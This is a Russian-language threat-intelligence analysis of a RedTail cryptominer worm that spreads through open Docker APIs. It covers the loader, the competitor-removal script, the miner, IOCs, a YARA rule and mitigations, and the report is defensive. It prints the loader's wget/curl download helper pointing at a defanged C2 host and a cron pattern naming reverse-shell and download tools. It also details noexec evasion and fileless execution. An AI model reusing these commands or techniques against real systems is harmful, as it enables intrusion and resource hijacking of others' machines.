malware · cryptomining · redtail · docker · linux · honeypot · worm
Внутри кампании RedTail: самораспространение через открытые Docker API
Ловушки Kinryū Labs зафиксировали криптомайнер RedTail, распространяющийся через Docker Engine API без аутентификации и сброшенные SSH-ключи. Этот разбор документирует актуальный, полностью захваченный экземпляр — с лоадером, скриптом удаления конкурентов, майнером и «живыми» индикаторами.
Автор Davis Zheng·
TLP:CLEAR. Согласовано к публикации. Получено из сети сенсоров-ловушек Kinryū Labs. Каждый индикатор здесь — защитный. Мы захватили приватный ключ атакующего и не публикуем его. Здесь приводится только публичный отпечаток. IP-адреса и домены атакующего обезврежены.
Краткое резюме
- 2375открытый Docker API — путь внутрь
- 4целевые архитектуры CPU
- ~21 сполный взлом, записанный нашей ловушкой
- червьSSH-клиент, встроенный в майнер
В начале — середине июня 2026 года наша сеть ловушек зафиксировала червя, который распространяется через выставленные в интернет Docker Engine API на TCP/2375 и сбрасывает RedTail — майнер Monero на базе XMRig, существующий с конца 2023 года. Актор перечисляет запущенные контейнеры через открытый Docker API, выполняет команды внутри каждого, сбрасывает приватный SSH-ключ для закрепления и латерального движения, а затем подтягивает многоархитектурный лоадер. Лоадер устанавливает майнер, который несёт собственный SSH-клиент для распространения и сниффер libpcap для поиска новых целей.
Полезная нагрузка — несомненно RedTail. RedTail известен прежде всего тем, что приходит через эксплойты веб-приложений (PAN-OS, Ivanti, Log4Shell, PHP-CGI, TP-Link), и его использование открытых Docker API тоже уже описывалось. Этот разбор добавляет актуальный, полностью захваченный экземпляр такой доставки через Docker API: «живой» C2 и индикаторы, сброс SSH-ключа, позволяющий хосту самовоспроизводиться, и скрипт удаления конкурентов, на который прежние разборы указывали, но не извлекали. Логику самовоспроизведения мы отслеживаем внутри под именем docker.selfrep.
Майнер несёт зашифрованную конфигурацию времени выполнения и не содержит встроенного кошелька, так что извлечь адрес Monero из образца мы не можем. Для этого нужна живая детонация с захватом сетевого трафика.
Ключевые выводы
- Полезная нагрузка — RedTail (высокая уверенность). Строка
libredtail evbuffer_tls, артефакт.redtail, резервное имяredtailв лоадере и сборка с зашифрованным конфигом / без кошелька — всё это совпадает с версиями семейства после 2024 года. - Кампания червеспособна (высокая уверенность). Инструментарий для Docker API, сброшенный ключ и встроенный в майнер SSH-клиент — это всё, что нужно свежезаражённому хосту, чтобы самостоятельно отправиться искать следующую жертву.
- Оператор делает это ради денег (средняя уверенность). Кража учётных данных и сниффинг выглядят так, будто служат распространению, а не отдельной цели хищения данных.
- Вектор через Docker API уже описывался для RedTail и по-прежнему хорошо работает. Один открытый сокет на TCP/2375 даёт актору выполнение кода от root внутри каждого контейнера на хосте.
Цепочка атаки
[0] Разведка Сканирование интернета на открытый Docker API :2375
│
[1] Первичный доступ Docker API без аутентификации → перечисление контейнеров
│ (T1190 Exploit Public-Facing Application)
│
[2] Выполнение docker exec в каждый запущенный контейнер
│ (T1609 Container Administration Command)
│
[3] Закрепление / Сброс ed25519-ключа "dlr@sftp" в ~/.ssh контейнера
подготовка (T1098.004 SSH Authorized Keys / T1570 Lateral Tool Transfer)
│
[4] Доставка (стадия 2) Загрузка лоадера: scp [email protected][.]113:sh (основной)
│ hxxps://14.46.136[.]77/sh (резервный)
│ (T1105 Ingress Tool Transfer)
│
[5] Обход защиты Лоадер: поиск noexec-монтирований → их обход; скрытое имя ".<random>";
│ запуск/сброс скрипта удаления конкурентов "clean"
│
[6] Доставка (стадия 3) Лоадер тянет ELF под архитектуру (x86_64/i686/aarch64/arm7) с C2
│
[7] Выполнение memfd_create → бесфайловый запуск майнера RedTail
│ (T1620 Reflective Code Loading)
│
[8] Воздействие Майнинг Monero через XMRig (T1496 Resource Hijacking)
+ Доступ к учёткам Сниффинг libpcap + кража ssh-agent/ключей (T1040 / T1552.004)
+ Латер. движение Встроенный SSH-клиент распространяется на найденные хосты (T1021.004)
Стадия 1: первичный доступ через Docker API
Актор охотится на экземпляры Docker Engine, выставляющие REST API без аутентификации на TCP/2375. Наша ловушка для Docker API эмулирует настоящий движок, и она записала всю последовательность примерно за 21 секунду:
GET /versionиGET /containers/json, чтобы снять отпечаток движка и перечислить контейнеры.POST /containers/{id}/exec, затемPOST /exec/{id}/startпротив каждого запущенного контейнера.- Внутриконтейнерная shell-нагрузка, которая записывает SSH-ключ атакующего и подтягивает лоадер.
Именно последний шаг превращает это из разового майнера в червя. Хост, который заразился и сам выставляет свой Docker API, выполнит ту же процедуру «перечислить-и-выполнить» против следующего набора жертв. Эту логику мы зовём docker.selfrep.
Сброшенный SSH-ключ (закрепление и латеральное движение)
| Атрибут | Значение |
|---|---|
| Тип | приватный ключ OpenSSH ed25519 |
| Комментарий | dlr@sftp |
| SHA256-отпечаток публичного ключа | SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg |
| Источник загрузки (канал SCP) | [email protected][.]113 |
Приватный ключ мы не публикуем. Используйте отпечаток выше для поиска: проверьте
authorized_keysи~/.sshпо всему парку машин.
Стадия 2: лоадер /sh
SHA256: 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf
MD5: 0df4fe0f1e3e8b0941f0d1442f132700
Тип: POSIX shell-скрипт
Небольшой, переносимый лоадер — и аккуратный.
Случайное скрытое имя файла. get_random_string() собирает алфавитно-цифровое имя длиной от 4 до 35 символов, пробуя /dev/urandom, затем openssl, затем $RANDOM, и откатываясь к буквальной строке redtail, если всё это не срабатывает. Этот откат — удобный признак семейства. Майнер ложится как .<random> с ведущей точкой, чтобы не попадаться в обычном ls. На VirusTotal этот образец лежит под одним из таких имён — .mn6VTucEsFZY1PdSC2QAq.
Помощник загрузки. dlr() отключает проверку TLS, поскольку C2 самоподписан, и откатывается с wget на curl:
dlr() { rm -rf $1; wget --no-check-certificate -q hxxps://14.46.136[.]77/$1 \
|| curl -skO hxxps://14.46.136[.]77/$1 ; }
Стейджинг с учётом noexec. Лоадер читает /proc/mounts, отбрасывает каждое монтирование с noexec и запускает find / -user $(whoami) -perm -u=rwx, чтобы найти место, где он может и писать, и выполнять. Каждого кандидата он проверяет на запись с помощью dd или truncate на 2 МБ, прежде чем использовать. Большинство лоадеров просто пишут в /tmp и идут дальше. Этот же прилагает усилия, чтобы приземлиться туда, где точно сможет выполняться.
Зачистка конкурентов. Он подтягивает и запускает clean (dlr clean; chmod +x clean; sh clean; rm -rf clean), затем удаляет его. Этот скрипт мы тоже добыли и разбираем ниже. Он бьёт по закреплению и стейджингу соперников, оставляя запущенные процессы в покое.
Уборка. Он удаляет .redtail и предыдущий файл .<random> перед установкой нового.
Выбор архитектуры. Переключатель uname -mp выбирает сборку:
| Совпадение ARCH | Загружает |
|---|---|
x86_64 / amd64 | x86_64 |
i[3456]86 | i686 |
armv8 / aarch64 | aarch64 |
armv7 | arm7 |
| неизвестно | перебирает все четыре, запускает каждую |
Запуск. ./.<random> $1, передавая исходный $1 лоадера, который RedTail трактует как метку кампании или вектора.
Скрипт удаления конкурентов clean
SHA256: d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e
MD5: 397ff5e54194072e6d8a44a0d8cc1b27
Тип: Bash-скрипт (795 байт)
Мы захватили clean при более позднем попадании по ловушкам. Запущенные процессы он оставляет в покое. Вся его работа — убрать с машины другую малварь, чтобы RedTail достался хост целиком:
-
Зачистка cron. Для каждого пользовательского crontab (
/var/spool/cron/crontabs/*), системного crontab (/etc/crontab,/etc/crontabs), каталога drop-in (/etc/cron.{hourly,daily,weekly,monthly,d}) и/etc/anacrontabон снимает бит неизменяемости с помощьюchattr -ia(соперничающая малварь ставит его, чтобы защитить собственные cron-строки), а затем удаляет любую строку, совпадающую с паттерном повторного заражения:wget | curl | /dev/tcp | /tmp | \.sh | nc | bash -i | sh -i | base64 -dЭто выдёргивает загрузочные «колыбели» и реверс-шеллы других команд, оставляя легитимные cron-записи нетронутыми.
-
Убийство названного соперника. Он отключает и останавливает systemd-сервис
c3pool_miner— прямой выстрел по майнеру c3pool. -
Очистка стейджинга. Он опустошает
/tmp,/var/tmpи/dev/shmчерезrm -rf, вычищая полезные нагрузки конкурентов и общее для них рабочее пространство.
Удар по закреплению и стейджингу — более тихий ход. Он переживает перезагрузку, при которой оставшиеся cron-записи иначе заново заразили бы хост, и избегает шума от массового убийства процессов.
Стадия 3: майнер RedTail (x86_64)
SHA256: 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5
MD5: aaa5098c9caafccf15362b017825c64b
Размер: 1 880 264 байта (1,79 МБ)
Формат: ELF 64-bit LSB EXEC (статически слинкован, non-PIE), x86-64, точка входа 0xaa9e18
Упаковщик: UPX 5.02 ($Id: UPX 5.02 Copyright (C) 1996-2025 the UPX Team)
VirusTotal: 36/62 вредоносный, оценка сообщества −60, впервые замечен ~2026-06-05
Метки угрозы: trojan.usblem26/abminer; семейства usblem26 / abminer / gen3
Упаковка и противодействие анализу
- UPX 5.02 с нетронутым заголовком.
upx -dраспаковывает его начисто в статически слинкованный ELF размером примерно 5 МБ. - Бесфайловое выполнение. Code insights на VirusTotal показывают использование
memfd_create(syscall0x13f) для запуска нагрузки прямо из анонимного файлового дескриптора в памяти, с повторным запуском через/proc/self/exeи стейджингом в/dev/shm. Ничто не касается диска, так что дисковый антивирус ничего не видит. - Подмена имени процесса (
sets-process-name), чтобы сливаться с обычными процессами. - Уклонение от отладчика (
detect-debug-environment). Публичные разборы RedTail описывают самоотладку черезptraceи активное убийство GDB бинарником. - Замечание про хостовый антивирус. Microsoft Defender помечает упакованный ELF как
Trojan:Linux/Multiverze!rfnи блокирует его чтение с диска, так что статическую сортировку приходится делать в изолированной машине или в памяти.
Подтверждённые компоненты (из строк .rodata распакованного бинарника)
Ядро майнинга XMRig
randomx/0 cryptonight-monerov7 cryptonight-monerov8
XMRIG_VERSION donate-level donate-over-proxy pool address
stratum+tcp:// stratum+ssl://
/var/build/xmrig/scripts/build/ (hwloc-2.12.2, abseil-cpp)
libredtail, определяющий семейство сетевой стек
libredtail evbuffer_tls
Connection keepalive User-Agent
Кастомный libevent плюс TLS HTTP-клиент. Строка libredtail evbuffer_tls — это то, что отличает RedTail от стандартной сборки XMRig.
Встроенный SSH-клиент (латеральное движение и кража учётных данных)
ssh-userauth ssh-ed25519 [email protected]
[email protected] [email protected]
"Unable to ask for ssh-userauth service"
"Failed to get response to ssh-userauth request"
Майнер несёт полноценный SSH-клиент. Это и есть движок за сбросом ключа dlr@sftp и распространением. Бинарник майнера сам занимается кражей учётных данных и SSH-распространением. Ничего из этого не живёт в дроппере.
Встроенный libpcap (сетевой сниффинг)
"cooked-mode frame doesn't have room for sll header"
"Kernel doesn't support memory-mapped capture ... CONFIG_PACKET_MMAP"
"Packet injection is not supported on USB devices"
Захват пакетов на хосте, что укладывается в локальное обнаружение хостов и учётных данных.
Таблицы кодирования. Присутствуют и стандартный, и URL-safe алфавиты Base64 (...+/ и ...-_), используемые процедурой декодирования конфигурации.
Конфигурация и пробел в атрибуции
Мы тщательно искали в распакованном бинарнике IP, URL, stratum, pool и паттерны адресов Monero. Единственные пулы там — встроенные пулы донатов разработчику XMRig (donate.ssl.xmrig.com, donate.v2.xmrig.com), которые несёт каждая сборка XMRig и которыми оператор не управляет. Ни пула, ни прокси, ни кошелька атакующего в открытом виде нет.
Это намеренно, и это соответствует тому, куда RedTail двигался с 2024 года. Конфигурация майнинга зашифрована и расшифровывается только в памяти во время выполнения, а недавние сборки вовсе не несут кошелька, указывая вместо этого на приватный пул или пул-прокси. Итак:
- Кошелёк Monero из этого образца мы достать не можем.
- Пул-прокси выходит наружу только при живой детонации с сетевым приёмником (см. методологию).
Атрибуция
Это RedTail, также известный как майнер .redtail, — производный от XMRig майнер Monero, впервые описанный примерно в конце 2023 — начале 2024 года. Что совпадает:
- Строка
libredtail evbuffer_tls, уникальная для него. - Артефакт
.redtailи резервное имяredtailв лоадере. - Сборка с зашифрованным конфигом / без кошелька, многоархитектурный лоадер, скрипт конкурентов
cleanи кража SSH-учёток — всё это известные черты RedTail.
Для сравнения, уже задокументированные для семейства векторы доставки — CVE-2024-3400 (PAN-OS), CVE-2023-46805 и CVE-2024-21887 (Ivanti), CVE-2021-44228 (Log4Shell), CVE-2024-4577 (PHP-CGI) и CVE-2023-1389 (TP-Link). VirusTotal также помечает этот образец CVE-2021-41773 (обход пути до RCE в Apache 2.4.49/2.4.50) и CVE-2015-2808 (RC4, «Bar Mitzvah»).
Использование RedTail открытых Docker API уже описывалось, так что сам вектор не нов. Этот отчёт добавляет его актуальный захват: «живой» C2 и хеши нагрузок, восстановленный скрипт clean и деталь самовоспроизведения через сброшенный ключ.
Перспективы
Криптоджекинг-команды меняют способ проникновения куда чаще, чем саму нагрузку, а модульный лоадер RedTail позволяет легко менять один метод входа на другой. Открытые Docker-сокеты — ровно их профиль. Немалая часть оппортунистической Linux-активности сместилась к облачно-нативным неверным настройкам, и один открытый Docker API вручает атакующему root внутри каждого контейнера на машине. RedTail здесь уже бывал, и устойчивый приток выставленных в интернет 2375 удерживает это занятие стоящим.
Мы считаем вероятным, что оператор держит вектор через Docker API наряду с веб-эксплойтами, а не меняет одно на другое, — это просто даёт ему больше достижимых хостов. Если вы запускаете контейнеры, относитесь к открытому Docker API так, будто он сидит в публичном интернете, потому что фактически так и есть.
Индикаторы компрометации
Сеть
| Индикатор | Контекст |
|---|---|
14.46.136[.]77 | C2 / хост нагрузок (HTTPS, самоподписан). Отдаёт /sh, /clean, /x86_64, /i686, /aarch64, /arm7. Фильтрует облачный egress по ASN. |
hxxps://14.46.136[.]77/sh | URL лоадера стадии 2 |
hxxps://14.46.136[.]77/clean | Скрипт удаления конкурентов (зачистка cron / стейджинга) |
217.60.195[.]113 | Источник ключа / нагрузки по SCP ([email protected][.]113) |
Файлы (SHA256 / MD5)
| Файл | SHA256 | MD5 |
|---|---|---|
sh (лоадер) | 03145a920ea47b6fa8f4e56640baaaef3c0355f1fde7356edb5dde99a44d29bf | 0df4fe0f1e3e8b0941f0d1442f132700 |
clean (зачистка конкурентов) | d46555af1173d22f07c37ef9c1e0e74fd68db022f2b6fb3ab5388d2c5bc6a98e | 397ff5e54194072e6d8a44a0d8cc1b27 |
x86_64 (майнер) | 59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5 | aaa5098c9caafccf15362b017825c64b |
Артефакты на хосте
| Индикатор | Контекст |
|---|---|
.redtail | Артефакт майнера / маркер прежнего заражения |
.<random alnum>, напр. .mn6VTucEsFZY1PdSC2QAq | Скрытое имя файла майнера (ведущая точка + случайное) |
Комментарий SSH-ключа dlr@sftp | Сброшенный ключ |
Отпечаток pubkey SHA256:O/at8341SoPpKvTPvMsJSgjQm30md9VTS2it25sY0vg | Отпечаток сброшенного ключа; ищите в authorized_keys |
Файлы в /dev/shm, /var/tmp, /tmp или любом доступном на запись rwx-каталоге | Места стейджинга |
Поведенческие
memfd_create(syscall0x13f), выполняющий ELF из анонимного файлового дескриптора.- Процесс, читающий
/proc/mounts, а затем запускающийfind / -perm -u=rwx(стейджинг с учётом noexec). - Подмена имени процесса; уклонение от отладчика на базе
ptrace. - Исходящий
stratum+tcp:///stratum+ssl://на нестандартный хост. systemctl disable c3pool_minerиsystemctl stop c3pool_miner(вытеснение конкурента).chattr -iaпротив путей crontab, сразу за которым следует массовое удаление строкwget/curl/ реверс-шеллов из cron.rm -rfдля/tmp/*,/var/tmp/*и/dev/shm/*(зачистка стейджинга конкурентов).
Обнаружение
Хостовое обнаружение (логика процессов / EDR)
Поднимайте тревогу на процесс, который последовательно:
- читает
/proc/mounts, затем запускаетfind / ... -perm -u=rwx ..., и - пишет файл со случайным именем и ведущей точкой в доступный всем на запись каталог, и
- вызывает
memfd_create, за которым следует выполнение из полученного файлового дескриптора.
Любой из них по отдельности слаб. Все три вместе — сильный сигнал именно этого лоадера.
Кандидатное YARA-правило (распакованный бинарник)
rule RedTail_Miner_libredtail
{
meta:
description = "RedTail XMRig miner: libredtail networking + embedded SSH/pcap"
reference = "Kinryu Labs CTI 2026-06-12"
hash = "59c29436755b0778e968d49feeae20ed65f5fa5e35f9f7965b8ed93420db91e5"
strings:
$rt = "libredtail evbuffer_tls" ascii
$xm1 = "randomx/0" ascii
$xm2 = "stratum+ssl://" ascii
$ssh = "[email protected]" ascii
condition:
uint32(0) == 0x464c457f and $rt and 1 of ($xm*) and $ssh
}
Это правило совпадает с распакованным UPX бинарником. Для упакованного образца опирайтесь на сигнатуру UPX, размер файла (~1,79 МБ) и хеши VirusTotal выше.
Сетевое обнаружение
- Блокируйте и оповещайте об исходящем трафике на
14.46.136[.]77и217.60.195[.]113. - Оповещайте о
stratum+tcp/stratum+sslна любое не входящее в список разрешённых назначение. - Оповещайте о HTTP(S) GET путей из одной буквы или с именами архитектур (
/sh,/x86_64,/aarch64,/arm7).
Меры противодействия
- Не выставляйте Docker API (2375/2376) в недоверенные сети. Привяжите его к localhost или защищённому сокету и требуйте аутентификацию по клиентскому TLS-сертификату. Один этот контроль напрочь ломает шаг первичного доступа.
- Проверьте
~/.ssh/authorized_keysпо всему парку машин на ключdlr@sftpи его отпечаток. - Фильтруйте egress и отслеживайте stratum-трафик и C2-адреса выше.
- Монтируйте
/tmp,/var/tmpи/dev/shmсnoexec, где можете. Это поднимает планку, хотя этот лоадер учитывает noexec и отправится искать другой доступный на запись и выполнение каталог. - Закаляйте контейнеры: сбрасывайте ненужные capabilities, используйте корневые ФС только для чтения и запускайте с минимальными привилегиями, чтобы
exec-вход не вручал атакующему пригодную среду выполнения.
Сопоставление с MITRE ATT&CK
| Тактика | Техника |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Docker API) |
| Execution | T1609 Container Administration Command; T1059.004 Unix Shell |
| Persistence | T1098.004 SSH Authorized Keys |
| Defense Evasion | T1027.002 Software Packing (UPX); T1620 Reflective / Memory Code Loading (memfd_create); T1564.001 Hidden Files; T1036.004 Masquerade Task or Process Name; T1622 Debugger Evasion; T1070.004 File Deletion |
| Credential Access | T1552.004 Private Keys; T1040 Network Sniffing |
| Discovery | T1046 Network Service Scanning; T1082 System Information Discovery; T1057 Process Discovery; T1018 Remote System Discovery |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1573 Encrypted Channel; T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (cryptomining) |
Методология и заметки аналитика
- Стадии 2 и 3 мы стянули с «живого» C2 по HTTPS.
14.46.136[.]77отдаёт тайм-аут для облачных IP (мы пробовали с AWS/EC2), но нормально отдаёт резидентным и обычным IP, что является ASN- или гео-фильтром egress, ломающим автоматические облачные песочницы. - Упакованный ELF поднимает Microsoft Defender (
Trojan:Linux/Multiverze!rfn) и не может быть даже прочитан с диска на защищённом Windows-хосте, так что первая сортировка прошла в памяти — распаковкой архива внутри Python-процесса без записи сырого ELF наружу. - Распаковка сделана через
upx -dв изолированной FLARE-VM. Распакованный бинарник мы анализировали статически — по строкам и структуре, не запуская его. - Майнер мы не запускали, так что расшифрованных во время выполнения пул-прокси и конфигурации Monero в этом отчёте нет.
Рекомендуемые дальнейшие шаги (для получения индикатора pool-proxy)
Чтобы добыть пул-прокси, детонируйте распакованный бинарник на изолированной Linux-машине (подойдёт REMnux) с:
- сетевым приёмником (INetSim, либо
fakednsплюс TCP-перехватчик «всё подряд»), чтобы вытянуть соединение, tcpdump -i any -w redtail.pcap, чтобы поймать stratum CONNECT и логин, иstrace -f, чтобы схватить открытую конфигурацию, которую майнер расшифровывает прямо перед своим первымconnect()и которая часто читаема, даже когда TLS прячет её на проводе.
Этот хост и порт — последний индикатор, всё ещё не закрытый по этой кампании.
Образцы
Образцы (лоадер, скрипт clean и упакованный майнер) доступны другим исследователям и защитникам по запросу. Напишите на [email protected] с короткой запиской о том, кто вы и зачем они вам.